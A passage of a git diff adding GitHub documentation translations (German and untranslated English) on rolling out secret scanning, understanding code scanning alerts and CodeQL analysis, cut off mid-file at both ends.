+Es ist wichtig, dass du die Datei `codeql-analysis.yml` nicht einfach in den Standardbranch des Repositorys pushst. Ein Pull Request überträgt dem Entwicklungsteam den Besitz für Review- und Mergeprozesse und ermöglicht dem Entwicklungsteam, {% data variables.product.prodname_code_scanning %} kennenzulernen und das Team in den Prozess einzubeziehen. 
+
+Du solltest die URLs der Pull Requests erfassen, die per Automatisierung erstellt werden, und jede Woche überprüfen, ob es Aktivitäten gibt und welche geschlossen wurden. Nach ein paar Wochen kann es sich lohnen, ein weiteres Issue zu erstellen oder interne E-Mails zu senden, wenn der Pull Request weiterhin nicht gemergt wurde.
+
+### Bestimmen fachlicher Ansprechpartner
+
+Dann kannst du zur nächsten Phase der Implementierung übergehen, die darin besteht, interne fachliche Ansprechpartner zu bestimmen und Besprechungen im Unternehmen anzuberaumen. Das Öffnen von Pull Requests und Issues in Repositorys wird wahrscheinlich einen großen Teil deiner Akzeptanzprobleme lösen. Das gilt aber nicht für punktuelle Anwendungsfälle, bei denen ein bestimmter Prozess, ein bestimmtes Framework oder eine bestimmte Bibliothek die Aktivierung bestimmter Featureflags erfordert. Ein stärker personalisierter und praxisorientierter Ansatz ist erforderlich, um eine hohe Akzeptanz zu erreichen, insbesondere für Java, C und C++.
+
+Regelmäßige Besprechungen zu bestimmten Themen sind eine gute Idee, um den Rollout in einer größeren Gruppe zu erörtern. Dieser Ansatz ist für ein Unternehmen mit Tausenden von Repositorys viel zeitsparender als das Arbeiten mit nur jeweils einem Team. Teams können zu Sitzungen kommen, die für sie relevant sind. Es folgen einige bereits durchgeführte Beispielsitzungen:
+
+- {% data variables.product.prodname_code_scanning_capc %} in einem Container
+- {% data variables.product.prodname_code_scanning_capc %} und Java Struts
+- {% data variables.product.prodname_code_scanning_capc %} und JSP
+
+Du kannst die Daten, die du über die Verteilung verschiedener Sprachen auf Repositorys gesammelt hast, nutzen, um Besprechungen gezielt auszurichten.
+
+{% note %}
+
+Den nächsten Artikel in dieser Reihe findest du unter [Phase 6: Rollout und Skalierung der Geheimnisüberprüfung](/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning).
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md
new file mode 100644
index 0000000000..7cf84a8886
--- /dev/null
+++ b/translations/de-DE/content/code-security/adopting-github-advanced-security-at-scale/phase-6-rollout-and-scale-secret-scanning.md
@@ -0,0 +1,106 @@
+---
+title: 'Phase 6: Rollout and scale secret scanning'
+intro: 'For the final phase, you will focus on the rollout of {% data variables.product.prodname_secret_scanning %}. {% data variables.product.prodname_secret_scanning_caps %} is a more straightforward tool to rollout than {% data variables.product.prodname_code_scanning %}, as it involves less configuration, but it''s critical to have a strategy for handling new and old results.'
+versions:
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+shortTitle: 6. Rollout secret scanning
+miniTocMaxHeadingLevel: 3
+---
+
+{% note %}
+
+This article is part of a series on adopting {% data variables.product.prodname_GH_advanced_security %} at scale. For the previous article in this series, see "[Phase 5: Rollout and scale code scanning](/code-security/adopting-github-advanced-security-at-scale/phase-5-rollout-and-scale-code-scanning)."
+
+{% endnote %}
+
+You can enable secret scanning for individual repositories or for all repositories in an organization. For more information, see "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)."
+
+This article explains a high-level process focusing on enabling {% data variables.product.prodname_secret_scanning %} for all repositories in an organization. The principles described in this article can still be applied even if you take a more staggered approach of enabling {% data variables.product.prodname_secret_scanning %} for individual repositories. 
+
+### 1. Focus on newly committed secrets
+
+When you enable {% data variables.product.prodname_secret_scanning %}, you should focus on remediating any newly committed credentials detected by secret scanning. If you focus on cleaning up committed credentials, developers could continue to accidentally push new credentials, which means your total secret count will stay around the same level, not decrease as intended. This is why it is essential to stop new credentials being leaked before focusing on revoking any current secrets.
+
+There are a few approaches for tackling newly committed credentials, but one example approach would be:
+
+1. **Notify**: Use webhooks to ensure that any new secret alerts are seen by the right teams as quickly as possible. A webhook fires when a secret alert is either created, resolved, or reopened. You can then parse the webhook payload, and integrate it into any tools you and your team use such Slack, Teams, Splunk, or email. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)" and "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert)."
+2. **Follow Up**: Create a high-level remediation process that works for all secret types. For example, you could contact the developer who committed the secret and their technical lead on that project, highlighting the dangers of committing secrets to GitHub, and asking the them to revoke, and update the detected secret.
+
+  {% note %}
+  
+  **Note:** You can automate this step. For large enterprises and organizations with hundreds of repositories, manually following up is unsustainable. You could incorporate automation into the webhook process defined in the first step. The webhook payload contains repository and organization information about the leaked secret. Using this information, you can contact the current maintainers on the repository and create an email/message to the responsible people or open an issue.
+  
+  {% endnote %} 
+3. **Educate**: Create an internal training document assigned to the developer who committed the secret. Within this training document, you can explain the risks created by committing secrets and direct them to your best practice information about using secrets securely in development. If the a developer doesn't learn from the experience and continues to commit secrets, you could create an escalation process, but education usually works well.
+
+Repeat the last two steps for any new secrets leaked. This process encourages developers to take responsibility for managing the secrets used in their code securely, and allows you to measure the reduction in newly committed secrets.
+
+{% note %}
+
+**Note:** More advanced organizations may want to perform auto-remediation of certain types of secrets. There is an open-source initiative called [GitHub Secret Scanner Auto Remediator](https://github.com/NickLiffen/GSSAR) which you can deploy into your AWS, Azure, or GCP environment and tailor to automatically revoke certain types of secrets based on what you define as the most critical. This is also an excellent way to react to new secrets being committed with a more automated approach.
+
+{% endnote %}
+
+### 2. Remediate previously committed secrets, starting with the most critical
+
+After you have established a process to monitor, notify and remediate newly published secrets, you can start work on secrets committed before {% data variables.product.prodname_GH_advanced_security %} was introduced.
+
+How you define your most critical secrets will depend on your organization's processes and integrations. For example, a company likely isn’t worried about a Slack Incoming Webhook secret if they don’t use Slack. You may find it useful to start by focusing on the top five most critical credential types for your organization.
+
+Once you have decided on the secret types, you can do the following:
+
+1. Define a process for remediating each type of secret. The actual procedure for each secret type is often drastically different. Write down the process for each type of secret in a document or internal knowledge base.
+  
+  {% note %}
+  
+  **Note:** When you create the process for revoking secrets, try and give the responsibility for revoking secrets to the team maintaining the repository instead of a central team. One of the principles of GHAS is developers taking ownership of security and having the responsibility of fixing security issues, especially if they have created them.
+
+  {% endnote %}
+
+2. When you have created the process that teams will follow for revoking credentials, you can collate information about the types of secrets and other metadata associated with the leaked secrets so you can discern who to communicate the new process to.
+  
+  {% ifversion not ghae %}
+  
+  You can use the security overview to collect this information. For more information about using the security overview, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
+  
+  {% endif %}
+  
+  Some information you may want to collect includes:
+  
+    - Organization
+    - Repository
+    - Secret type
+    - Secret value
+    - Maintainers on repository to contact
+  
+  {% note %}
+  
+  **Note:** Use the UI if you have few secrets leaked of that type. If you have hundreds of leaked secrets, use the API to collect information. For more information, see "[Secret scanning REST API](/rest/reference/secret-scanning)."
+    
+  {% endnote %}
+
+3. After you collect information about leaked secrets, create a targeted communication plan for the users who maintain the repositories affected by each secret type. You could use email, messaging, or even create GitHub issues in the affected repositories. If you can use APIs provided by these tools to send out the communications in an automated manner, this will make it easier for you to scale across multiple secret types.
+
+### 3. Expand the program to include more secret types and custom patterns
+
+You can now expand beyond the five most critical secret types into a more comprehensive list, with an additional focus on education. You can repeat the previous step, remediating previously committed secrets, for the different secret types you have targeted.
+
+You can also include more of the custom patterns collated in the earlier phases and invite security teams and developer teams to submit more patterns, establishing a process for submitting new patterns as new secret types are created. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."
+
+{% ifversion secret-scanning-push-protection %}
+
+You can also enable push protection with secret scanning. Once enabled, secret scanning checks pushes for high-confidence secrets and blocks the push. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#using-secret-scanning-as-a-push-protection-from-the-command-line)."
+
+{% endif %}
+
+As you continue to build your remediation processes for other secret types, start to create proactive training material that can be shared with all developers of GitHub in your organization. Until this point, a lot of the focus has been reactive. It is an excellent idea to shift focus to being proactive and encourage developers not to push credentials to GitHub in the first place. This can be achieved in multiple ways but creating a short document explaining the risks and reasons would be a great place to start.
+
+{% note %}
+
+This is the final article of a series on adopting {% data variables.product.prodname_GH_advanced_security %} at scale. If you have questions or need support, see the section on {% data variables.contact.github_support %} and {% data variables.product.prodname_professional_services_team %} in "[Introduction to adopting {% data variables.product.prodname_GH_advanced_security %} at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale#github-support-and-professional-services)."
+
+{% endnote %}
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md
new file mode 100644
index 0000000000..85426efe23
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts.md
@@ -0,0 +1,142 @@
+---
+title: About code scanning alerts
+intro: Learn about the different types of code scanning alerts and the information that helps you understand the problem each alert highlights.
+product: '{% data reusables.gated-features.code-scanning %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+---
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## About alerts from {% data variables.product.prodname_code_scanning %}
+
+You can set up {% data variables.product.prodname_code_scanning %} to check the code in a repository using the default {% data variables.product.prodname_codeql %} analysis, a third-party analysis, or multiple types of analysis. When the analysis is complete, the resulting alerts are displayed alongside each other in the security view of the repository. Results from third-party tools or from custom queries may not include all of the properties that you see for alerts detected by {% data variables.product.company_short %}'s default {% data variables.product.prodname_codeql %} analysis. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
+
+By default, {% data variables.product.prodname_code_scanning %} analyzes your code periodically on the default branch and during pull requests. For information about managing alerts on a pull request, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
+
+## About alert details
+
+Each alert highlights a problem with the code and the name of the tool that identified it. You can see the line of code that triggered the alert, as well as properties of the alert, such as the alert severity, security severity, and the nature of the problem. Alerts also tell you when the issue was first introduced. For alerts identified by {% data variables.product.prodname_codeql %} analysis, you will also see information on how to fix the problem.
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.code-scanning.alert-default-branch %}
+{% endif %}
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/help/repository/code-scanning-alert.png)
+{% else %}
+![Example alert from {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/3.4/repository/code-scanning-alert.png)
+{% endif %}
+
+If you set up {% data variables.product.prodname_code_scanning %} using {% data variables.product.prodname_codeql %}, you can also find data-flow problems in your code. Data-flow analysis finds potential security issues in code, such as: using data insecurely, passing dangerous arguments to functions, and leaking sensitive information.
+
+When {% data variables.product.prodname_code_scanning %} reports data-flow alerts, {% data variables.product.prodname_dotcom %} shows you how data moves through the code. {% data variables.product.prodname_code_scanning_capc %} allows you to identify the areas of your code that leak sensitive information, and that could be the entry point for attacks by malicious users.
+
+### About severity levels
+
+Alert severity levels may be `Error`, `Warning`, or `Note`.
+
+If {% data variables.product.prodname_code_scanning %} is enabled as a pull request check, the check will fail if it detects any results with a severity of `error`. You can specify which severity level of code scanning alerts causes a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)."
+
+### About security severity levels
+
+{% data variables.product.prodname_code_scanning_capc %} displays security severity levels for alerts that are generated by security queries. Security severity levels can be `Critical`, `High`, `Medium`, or `Low`.
+
+To calculate the security severity of an alert, we use Common Vulnerability Scoring System (CVSS) data. CVSS is an open framework for communicating the characteristics and severity of software vulnerabilities, and is commonly used by other security products to score alerts. For more information about how severity levels are calculated, see [this blog post](https://github.blog/changelog/2021-07-19-codeql-code-scanning-new-severity-levels-for-security-alerts/).
+
+By default, any {% data variables.product.prodname_code_scanning %} results with a security severity of `Critical` or `High` will cause a check failure. You can specify which security severity level for {% data variables.product.prodname_code_scanning %} results should cause a check failure. For more information, see "[Defining the severities causing pull request check failure](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#defining-the-severities-causing-pull-request-check-failure)."
+
+{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
+### About analysis origins
+
+You can set up multiple configurations of code analysis on a repository, using different tools and targeting different languages or areas of the code. Each configuration of code scanning is the analysis origin for all the alerts it generates. For example, an alert generated using the default CodeQL analysis with GitHub Actions will have a different analysis origin from an alert generated externally and uploaded via the code scanning API.
+
+If you use multiple configurations to analyze a file, any problems detected by the same query are reported as alerts with multiple analysis origins. If an alert has more than one analysis origin, a {% octicon "workflow" aria-label="The workflow icon" %} icon will appear next to any relevant branch in the **Affected branches** section on the right-hand side of the alert page. You can hover over the {% octicon "workflow" aria-label="The workflow icon" %} icon to see the names of each analysis origin and the status of the alert for that analysis origin. You can also view the history of when alerts appeared in each analysis origin in the timeline on the alert page. If an alert only has one analysis origin, no information about analysis origins is displayed on the alert page.
+
+![Code scanning alert with multiple analysis origins](/assets/images/help/repository/code-scanning-analysis-origins.png)
+
+{% note %}
+
+**Note:** Sometimes a code scanning alert displays as fixed for one analysis origin but is still open for a second analysis origin. You can resolve this by re-running the second code scanning configuration to update the alert status for that analysis origin.
+
+{% endnote %}
+
+{% endif %}
+### About labels for alerts that are not found in application code
+
+{% data variables.product.product_name %} assigns a category label to alerts that are not found in application code. The label relates to the location of the alert.
+
+- **Generated**: Code generated by the build process
+- **Test**: Test code
+- **Library**: Library or third-party code
+- **Documentation**: Documentation
+
+{% data variables.product.prodname_code_scanning_capc %} categorizes files by file path. You cannot manually categorize source files.
+
+Here is an example from the {% data variables.product.prodname_code_scanning %} alert list of an alert marked as occurring in library code.
+
+![Code scanning library alert in list](/assets/images/help/repository/code-scanning-library-alert-index.png)
+
+On the alert page, you can see that the filepath is marked as library code (`Library` label).
+
+![Code scanning library alert details](/assets/images/help/repository/code-scanning-library-alert-show.png)
+
+{% ifversion codeql-ml-queries %}
+
+## About experimental alerts
+
+{% data reusables.code-scanning.beta-codeql-ml-queries %}
+
+In repositories that run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql %} action, you may see some alerts that are marked as experimental. These are alerts that were found using a machine learning model to extend the capabilities of an existing {% data variables.product.prodname_codeql %} query.
+
+![Code scanning experimental alert in list](/assets/images/help/repository/code-scanning-experimental-alert-list.png)
+
+### Benefits of using machine learning models to extend queries
+
+Queries that use machine learning models are capable of finding vulnerabilities in code that was written using frameworks and libraries that the original query writer did not include.
+
+Each of the security queries for {% data variables.product.prodname_codeql %} identifies code that's vulnerable to a specific type of attack. Security researchers write the queries and include the most common frameworks and libraries. So each existing query finds vulnerable uses of common frameworks and libraries. However, developers use many different frameworks and libraries, and a manually maintained query cannot include them all. Consequently, manually maintained queries do not provide coverage for all frameworks and libraries.
+
+{% data variables.product.prodname_codeql %} uses a machine learning model to extend an existing security query to cover a wider range of frameworks and libraries. The machine learning model is trained to detect problems in code it's never seen before. Queries that use the model will find results for frameworks and libraries that are not described in the original query.
+
+### Alerts identified using machine learning
+
+Alerts found using a machine learning model are tagged as "Experimental alerts" to show that the technology is under active development. These alerts have a higher rate of false positive results than the queries they are based on. The machine learning model will improve based on user actions such as marking a poor result as a false positive or fixing a good result.
+
+![Code scanning experimental alert details](/assets/images/help/repository/code-scanning-experimental-alert-show.png)
+
+## Enabling experimental alerts
+
+The default {% data variables.product.prodname_codeql %} query suites do not include any queries that use machine learning to generate experimental alerts. To run machine learning queries during {% data variables.product.prodname_code_scanning %} you need to run the additional queries contained in one of the following query suites.
+
+{% data reusables.code-scanning.codeql-query-suites %}
+
+When you update your workflow to run an additional query suite this will increase the analysis time.
+
+``` yaml
+- uses: {% data reusables.actions.action-codeql-action-init %}
+  with:
+    # Run extended queries including queries using machine learning
+    queries: security-extended
+```
+
+For more information, see "[Configuring code scanning](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs)."
+
+## Disabling experimental alerts
+
+The simplest way to disable queries that use machine learning to generate experimental alerts is to stop running the `security-extended` or `security-and-quality` query suite. In the example above, you would comment out the `queries` line. If you need to continue to run the `security-extended` or `security-and-quality` suite and the machine learning queries are causing problems, then you can open a ticket with [{% data variables.product.company_short %} support](https://support.github.com/contact) with the following details.
+
+- Ticket title: "{% data variables.product.prodname_code_scanning %}: removal from experimental alerts beta"
+- Specify details of the repositories or organizations that are affected
+- Request an escalation to engineering
+
+{% endif %}
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
new file mode 100644
index 0000000000..16578c6e5f
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql.md
@@ -0,0 +1,72 @@
+---
+title: About code scanning with CodeQL
+shortTitle: Code scanning with CodeQL
+intro: 'You can use {% data variables.product.prodname_codeql %} to identify vulnerabilities and errors in your code. The results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.prodname_dotcom %}.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+---
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}
+
+{% data reusables.code-scanning.about-codeql-analysis %}
+
+There are two main ways to use {% data variables.product.prodname_codeql %} analysis for {% data variables.product.prodname_code_scanning %}:
+
+- Add the {% data variables.product.prodname_codeql %} workflow to your repository. This uses the [github/codeql-action](https://github.com/github/codeql-action/) to run the {% data variables.product.prodname_codeql_cli %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-actions)."
+- Run the {% data variables.product.prodname_codeql %} CLI directly in an external CI system and upload the results to {% data variables.product.prodname_dotcom %}. For more information, see "[About {% data variables.product.prodname_codeql %} code scanning in your CI system ](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/about-codeql-code-scanning-in-your-ci-system)."
+
+{% ifversion ghes or ghae %}
+
+{% note %}
+On {% data variables.product.product_name %} {% ifversion ghes %}{{ allVersions[currentVersion].currentRelease }},{% endif %} the {% data variables.product.prodname_codeql %} action uses {% data variables.product.prodname_codeql_cli %} version {% data variables.product.codeql_cli_ghes_recommended_version %} by default. We recommend that you use the same version of the {% data variables.product.prodname_codeql_cli %} if you run analysis in an external CI system.
+{% endnote %}
+
+{% endif %}
+
+
+## About {% data variables.product.prodname_codeql %}
+
+{% data variables.product.prodname_codeql %} treats code like data, allowing you to find potential vulnerabilities in your code with greater confidence than traditional static analyzers.
+
+1. You generate a {% data variables.product.prodname_codeql %} database to represent your codebase.
+2. Then you run {% data variables.product.prodname_codeql %} queries on that database to identify problems in the codebase.
+3. The query results are shown as {% data variables.product.prodname_code_scanning %} alerts in {% data variables.product.product_name %} when you use {% data variables.product.prodname_codeql %} with {% data variables.product.prodname_code_scanning %}.
+
+{% data variables.product.prodname_codeql %} supports both compiled and interpreted languages, and can find vulnerabilities and errors in code that's written in the supported languages.
+
+{% data reusables.code-scanning.codeql-languages-bullets %}
+
+## About {% data variables.product.prodname_codeql %} queries
+
+{% data variables.product.company_short %} experts, security researchers, and community contributors write and maintain the default {% data variables.product.prodname_codeql %} queries used for {% data variables.product.prodname_code_scanning %}. The queries are regularly updated to improve analysis and reduce any false positive results. The queries are open source, so you can view and contribute to the queries in the [`github/codeql`](https://github.com/github/codeql) repository. For more information, see [{% data variables.product.prodname_codeql %}](https://codeql.github.com/) on the {% data variables.product.prodname_codeql %} website. You can also write your own queries. For more information, see "[About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/)" in the {% data variables.product.prodname_codeql %} documentation.
+
+You can run additional queries as part of your code scanning analysis.
+
+{%- ifversion codeql-packs %}
+These queries must belong to a published {% data variables.product.prodname_codeql %} query pack (beta) or a {% data variables.product.prodname_codeql %} pack in a repository. {% data variables.product.prodname_codeql %} packs (beta) provide the following benefits over traditional {% data variables.product.prodname_ql %} packs:
+
+- When a {% data variables.product.prodname_codeql %} query pack (beta) is published to the {% data variables.product.company_short %} {% data variables.product.prodname_container_registry %}, all the transitive dependencies required by the queries and a compilation cache are included in the package. This improves performance and ensures that running the queries in the pack gives identical results every time until you upgrade to a new version of the pack or the CLI.
+- {% data variables.product.prodname_ql %} packs do not include transitive dependencies, so queries in the pack can depend only on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same {% data variables.product.prodname_ql %} pack as the query.
+- {% data variables.product.prodname_codeql %} query packs (beta) can be downloaded from multiple GitHub container registries. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#downloading-codeql-packs-from-github-enterprise-server)."
+
+For more information, see "[About {% data variables.product.prodname_codeql %} packs](https://codeql.github.com/docs/codeql-cli/about-codeql-packs/)" in the {% data variables.product.prodname_codeql %} documentation.
+
+{% data reusables.code-scanning.beta-codeql-packs-cli %}
+
+{%- else %}
+The queries you want to run must belong to a {% data variables.product.prodname_ql %} pack in a repository. Queries must only depend on the standard libraries (that is, the libraries referenced by an `import LANGUAGE` statement in your query), or libraries in the same {% data variables.product.prodname_ql %} pack as the query.
+{% endif %}
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md
new file mode 100644
index 0000000000..eab60bab75
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning.md
@@ -0,0 +1,60 @@
+---
+title: Informationen zu Codescans
+intro: 'Du kannst die {% data variables.product.prodname_code_scanning %} nutzen, um Sicherheitsrisiken und Fehler im Code deines Projekts auf {% data variables.product.prodname_dotcom %} zu finden.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/managing-security-vulnerabilities/about-automated-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning
+  - /code-security/secure-coding/about-code-scanning
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Advanced Security
+  - Code scanning
+ms.openlocfilehash: 0bf49aa695e9e5a60cef7eb78c6e44f5ecd4ece5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085564'
+---
+{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %}
+
+## Informationen zu {% data variables.product.prodname_code_scanning %}
+
+{% data reusables.code-scanning.about-code-scanning %}
+
+Mit der {% data variables.product.prodname_code_scanning %} kannst du in deinem Code Probleme suchen, selektieren und deren Behandlung priorisieren. {% data variables.product.prodname_code_scanning_capc %} verhindert auch, dass Entwickler neue Probleme schaffen. Du kannst Überprüfungen für bestimmte Tage und Uhrzeiten planen oder Überprüfungen durchführen, wenn im Repository ein bestimmtes Ereignis auftritt, z. B. ein Push.
+
+Wenn die {% data variables.product.prodname_code_scanning %} ein mögliches Sicherheitsrisiko oder einen Fehler in deinem Code findet, zeigt {% data variables.product.prodname_dotcom %} eine Warnung im Repository an. Nachdem du den Code korrigiert hast, der die Meldung ausgelöst hat, schließt {% data variables.product.prodname_dotcom %} die Meldung. Weitere Informationen findest du unter [Verwalten von {% data variables.product.prodname_code_scanning %}-Warnungen für dein Repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository).
+
+Um die Ergebnisse der {% data variables.product.prodname_code_scanning %} in deinen Repositorys oder deiner Organisation zu überwachen, kannst du Webhooks und die {% data variables.product.prodname_code_scanning %}-API verwenden. Informationen zu den Webhooks für die {% data variables.product.prodname_code_scanning %} findest du unter [Webhookereignisse und Nutzlasten](/developers/webhooks-and-events/webhook-events-and-payloads#code_scanning_alert). Informationen zu API-Endpunkten findest du unter [{% data variables.product.prodname_code_scanning_capc %}](/rest/reference/code-scanning). 
+
+Erste Schritte mit der {% data variables.product.prodname_code_scanning %} findest du unter [Einrichten von {% data variables.product.prodname_code_scanning %} für ein Repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository).
+
+{% ifversion fpt or ghec %}
+
+## Informationen zur Abrechnung für die {% data variables.product.prodname_code_scanning %}
+
+Die {% data variables.product.prodname_code_scanning_capc %} verwendet {% data variables.product.prodname_actions %}, und jede Ausführung eines {% data variables.product.prodname_code_scanning %}-Workflows verbraucht Minuten für {% data variables.product.prodname_actions %}. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
+
+{% endif %}
+
+## Informationen zu Tools für die {% data variables.product.prodname_code_scanning %}
+
+Du kannst die {% data variables.product.prodname_code_scanning %} einrichten, um das {% data variables.product.prodname_codeql %}-Produkt zu verwenden, das von {% data variables.product.company_short%} oder einem {% data variables.product.prodname_code_scanning %}-Tool von Drittanbietern verwaltet wird. 
+
+### Informationen zur {% data variables.product.prodname_codeql %}-Analyse
+
+{% data reusables.code-scanning.about-codeql-analysis %} Weitere Informationen zu {% data variables.product.prodname_codeql %} findest du unter [Informationen zum Codescannen mit CodeQL](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql).
+
+### Informationen zu {% data variables.product.prodname_code_scanning %}-Tools von Drittanbietern
+
+{% data reusables.code-scanning.interoperable-with-tools-that-output-sarif %}
+
+Du kannst Analysetools von Drittanbietern innerhalb von {% data variables.product.product_name %} mithilfe von Aktionen oder innerhalb eines externen CI-Systems ausführen. Weitere Informationen findest du unter [Einrichten der Codeüberprüfung für ein Repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository) oder [Hochladen einer SARIF-Datei in GitHub](/code-security/secure-coding/uploading-a-sarif-file-to-github).
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md
new file mode 100644
index 0000000000..18035b7dd4
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning.md
@@ -0,0 +1,546 @@
+---
+title: Configuring code scanning
+intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans the code in your project for vulnerabilities and errors.'
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_code_scanning %} for the repository.'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning
+  - /code-security/secure-coding/configuring-code-scanning
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Actions
+  - Repositories
+  - Pull requests
+  - JavaScript
+  - Python
+shortTitle: Configure code scanning
+---
+
+
+{% data reusables.code-scanning.beta %}
+{% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
+
+{% ifversion ghes or ghae %}
+{% note %}
+
